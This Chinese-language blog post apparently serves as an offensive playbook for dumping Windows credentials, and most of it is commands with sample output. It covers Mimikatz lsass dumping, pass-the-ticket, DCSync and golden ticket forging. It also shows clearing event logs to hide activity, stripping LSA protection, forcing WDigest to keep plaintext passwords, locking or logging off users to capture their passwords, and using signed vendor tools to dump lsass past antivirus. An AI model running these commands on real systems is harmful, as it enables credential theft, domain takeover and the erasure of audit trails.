文章

Windows 本地转储凭证

由于卡巴斯基(Kaspersky)、小红伞(Avira Antivirus)等杀软均对 lsass.exe 进程进行了保护,会导致微软的工具以及巴斯基的 kldumper.exe 都无法成功转储 lsass.exe 内存的情况。

注:任然可以通过制造蓝屏来获取所有内存的文件 MEMORY.DMP 然后再提出 lsass 进一步读取。

Mimikatz

privilege module

请求进程调试特权:(许多 Mimikatz 命令都需要此特权)

1
2
mimikatz # privilege::debug
Privilege '20' OK

Remark: ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061 means that the required privilege is not held by the client (mostly you’re not an administrator 😏)

注:调试特权是一种安全策略设置,允许用户将调试器附加到进程或内核。默认情况下,具有管理员权限的用户启用此属性。

sekurlsa module

该模块从 lsass (Local Security Authority Subsystem Service) 的内存中提取密码、密钥、PIN 码、票据。

  • sekurlsa::Ekeys – 列出 Kerberos 密钥
  • sekurlsa::Kerberos – 列出所有已通过认证的用户的 Kerberos 凭证(包括服务帐户和计算机帐户)
  • sekurlsa::Krbtgt – 获取域中 Kerberos 服务帐户(KRBTGT)的密码数据
  • sekurlsa::logonpasswords – 列出所有可用的提供者的凭据。这个命令通常会显示最近登录过的用户和最近登录过的计算机的凭证。

从离线内存转储文件(lsass.dmp)中获取密码:

1
2
3
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP
mimikatz # sekurlsa::logonPasswords full

mimikatz 支持传入参数使用,这样使用起来更方便:

1
mimikatz.exe "log" "privilege::debug" "sekurlsa::logonpasswords full" "exit"

ticket

查看票据:

1
kerberos::list

导出所有票据:

1
2
3
sekurlsa::tickets /export
or
kerberos::list /export

注:与 kerberos::list 不同的是 sekurlsa 使用内存读取的方式,它不会受到密钥导出的限制。

清除票据:

1
kerberos::purge

导入票据到内存中:

1
2
3
4
5
# ptt (pass the ticket)
kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-XIAORANG.LAB.krbtgt

# ptc (pass the cache)
kerberos::ptc m3g9tr0n@HACKLAB.LOCAL_krbtgt~HACKLAB.LOCAL@HACKLAB.LOCAL.ccache

获取到 DC 服务的票据后,利用 dscync 导出 dc 的 hash:

1
lsadump::dcsync /domain:XIAORANG.LAB /all /csv

DCSync 获取指定用户的哈希:

1
lsadump::dcsync /user:Administrator /domain:example.com

使用 krbtgt 账户凭据,生成黄金票据并导入内存中:(/ptt 将票据加载到内存中)

1
kerberos::golden /krbtgt:8a4f49ff2d2eedf30b5e565e4332d0b5/user:administrator /domain:example.com /sid:S-1-5-21-2604854395-1602356619-879117556-502 /ptt

使用 krbtgt 账户凭据,生成黄金票据并保存到文件中:(/ticket 将票据以指定的文件名保存到磁盘上)

1
kerberos::golden /krbtgt:8a4f49ff2d2eedf30b5e565e4332d0b5 /admin:administrator /domain:example.com /sid:S-1-5-21-2604854395-1602356619-879117556-502 /ticket:administrator.ticket.bin

event module

event::drop:patch 事件服务,以避免新事件产生

event::clear:清除事件日志

1
2
3
4
5
6
7
8
9
10
11
12
13
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # event::drop
"EventLog" service patched

mimikatz # event::clear
Using "Security" event log :
- 2312 event(s)
- Cleared !
- 0 event(s)

mimikatz #

运行 privilege::debug,然后运行 event::drop 以 patch 事件日志。然后运行 event::Clear 清除事件日志,不记录任何日志清除事件(1102)。

/log:指定要清除的事件日志。默认的是 Security 日志。

1
2
3
4
5
mimikatz # event::clear /log:System
Using "System" event log :
- 3865 event(s)
- Cleared !
- 0 event(s)

Dump Credentials from the Windows Registry

转储 SAM & SYSTEM 注册表:

1
2
3
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive

使用 impacket-secretsdump 从注册表文件中获取哈希:

1
2
3
4
5
6
7
8
root@kali-server:~# impacket-secretsdump -sam sam.hive -system system.hive LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Target system bootKey: 0x4d1852164a0b068f32110659820cd4bc
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:64d4b4314b59fb051020a12f09effcac:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

也可以使用 mimikatz 从注册表转储文件中读取哈希:

1
mimikatz # lsadump::sam /sam:c:\temp\sam.hive /system:c:\temp\system.hive

LSA Protection

LSA 包含本地安全机构服务器服务 (LSASS) 进程,可以验证用户的本地和远程登录,并强制本地安全策略。Windows 8.1、Windows Server 2012 操作系统和更高版本为 LSA 提供额外的保护,以防止非受保护的进程读取内存和代码注入。如果 LSASS 被标记为 Protected Process Light (PPL),则保护已打开。详情见微软官方文档:配置其他 LSA 保护

开启 LSA 保护:(重启生效)

1
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f

禁用 LSA 保护:(重启生效)

1
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA v RunAsPPL f

当此设置与“UEFI 锁定”和“安全启动”一起使用时,由于禁用“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa”注册表项不起作用,因此可以实现额外的保护。

在开启 LSA 保护的情况下,此时 mimikatz 无法从 LSASS 进程中转储凭据,报错示例:

1
2
3
4
5
6
7
mimikatz # sekurlsa::msv
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonPasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list

使用 mimikatz - lsadump::lsa 模块(推荐),可以在本地安全认证(Local Security Authority)上直接读取凭据:

1
2
3
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject
mimikatz # lsadump::lsa /patch

mimikatz 在 2013 年 10 月就已支持绕过 LSA Protection。mimikatz 中的 mimidrv.sys 驱动程序,可从 lsass.exe 进程中删除 LSA 保护:(可能不成功,建议使用 lsadump::lsa 模块)

1
2
3
4
5
6
mimikatz# privilege::debug
mimikatz# !+
mimikatz# !processprotect /process:lsass.exe /remove
mimikatz# sekurlsa::logonpasswords
......
mimikatz# !-

其它绕过或关闭 LSA 保护的工具:https://github.com/RedCursorSecurityConsulting/PPLKiller

WDigest Auth

Microsoft 发布了一个补丁KB2871997,安装此补丁后,允许用户在注册表中配置一个设置(高版本已默认配置)禁用 WDigest 身份验证,从而防止将明文密码存储在内存中。此时 mimikatz 用抓取时密码字段会显示为 null。

作为 WDigest 身份验证提供程序的一部分,Windows 8 和 2012 之前的版本默认以明文形式在内存中存储登录凭据,而较新的 Windows 版本不再是这种情况。

安装此安全更新后,可以使用注册表设置来控制如何保存已安装的 WDigest 凭据。 强制 WDigest 以明文形式存储凭据:(在下次有人登录到目标系统时以明文形式存储凭据)

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
  • 如果 UseLogonCredential 值设置为 0,WDigest 将不会在内存中存储凭据。
  • 如果 UseLogonCredential 值设置为 1,WDigest 会将凭据存储在内存中。

配置 WDigest 以明文形式存储凭据后,获取用户的休眠锁屏机制,查看用户桌面已经有多久没有活动了,在合适的时间调用锁屏让目标输入登录密码。

1
2
3
4
5
6
7
8
9
# 锁屏
rundll32 user32.dll,LockWorkStation

# 注销登录用户
logoff <Session ID>

# 如果等待,也可以强制登录让其下线迫使其输入密码
cme smb 17.10.0.10  -u administrator -p -H <hash> -x quser
cme smb 17.10.0.10  -u administrator -p -H <hash> -m mimikatz.py -x quser

https://github.com/wh0nsq/BypassCredGuard

其它凭据转储工具

https://blog.jd.army/2022/10/10/Lsass%20memory%20dump/

PwDump

PwDump 7 for Windows

procdump

procdump 是微软官方发布的工具,使用该工具可以把 lsass 的内存 dump 下来,可以绕过大多数的防护软件。

Sqldumper

SQLDumper 是 Microsoft SQL Server 程序的一部分,主要是为了调试 SQL Server 和相关进程的内存。默认存放在:C:\Program Files\Microsoft SQL Server\<SQLServeVersionNumber>\Shared,如果目标机器没有安装 SQL Server ,上传个SqlDumper.exe即可。

查询 lsass.exe 进程的 pid:

1
tasklist /svc |findstr lsass.exe

完整转储文件:

1
Sqldumper.exe <ProcessID> 0 0x01100

微型转储文件:

1
Sqldumper.exe <ProcessID> 0 0x0120

Sqldumper 的其它使用方法见:使用 Sqldumper.exe 生成转储文件 - SQL Server

AvDump

AvDump 是 Avast 杀毒软件中自带的一个程序,可用于转储指定进程(lsass.exe)内存数据,因为它带有 Avast 杀软数字签名,所以不会被反病毒检测和查杀

1
.\avdump64.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\ProgramData\lsass.dmp

Process Explorer

Process Explorer 也是是 SysInternal 团队开发的 windows 进程监控工具,此工具主要对 windows 的进程进行监控,包括进程相关文件、进程属性、进程状态等进行监控。在此工具的正常功能中,需要对进程内存进行 dump,来查看进程运行过程中的内存。 此工具直接通过图形界面来创建 dump 文件。 image.png

ProcessDump

思科 Cisco Jabber 会在 C:\Program Files (x86)\Cisco Systems\Cisco Jabber\x64\ProcessDump.exe jabber 会使用此程序来进行内存转储。

1
processdump.exe (ps lsass).id c:\lsass.dmp

Process-Dump

https://github.com/glmcdona/Process-Dump

Comsvcs.dll

此方法主要是通过 rundll32 来调用 comsvcs.dll 中的 MiniDump 来直接 dump 相关内存。 MiniDumpW 通过 OpenProcess+CreateFileW+MiniDumpWriteDump 函数来 dump 内存。

1
rundll32 C:\windows\system32\comsvcs.dll MiniDump "<LsassPid> dump.bin full"

需要用户有 SeDebugPrivilege 特权。powershell 中管理员默认拥有,cmd 下则没有该特权。

rdrleakdiag

该程序是 windows 自带的 Microsoft Windows Resource Leak Diagnostic,主要用于 windows 诊断相关资源泄露,它默认安装在 windows7、windows8、windows10、windows server2012 以上中。

1
rdrleakdiag.exe /p <LsassPid> /O C:\ /fullmemdmp /wait 1

等过个一分钟,C 盘下就会有个转储文件:minidump_<LsassPid>.dmp

kldumper

使用卡巴斯基的 kldumper.exe 转储进程内存:

1
kldumper.exe klserver.exe c:\klserver.dmp

参考:https://support.kaspersky.com/us/ksc/14.2/diagnostics/7641

本文由作者按照 CC BY 4.0 进行授权

© h0ny. 保留部分权利。

本站由 Jekyll 生成,采用 Chirpy 主题。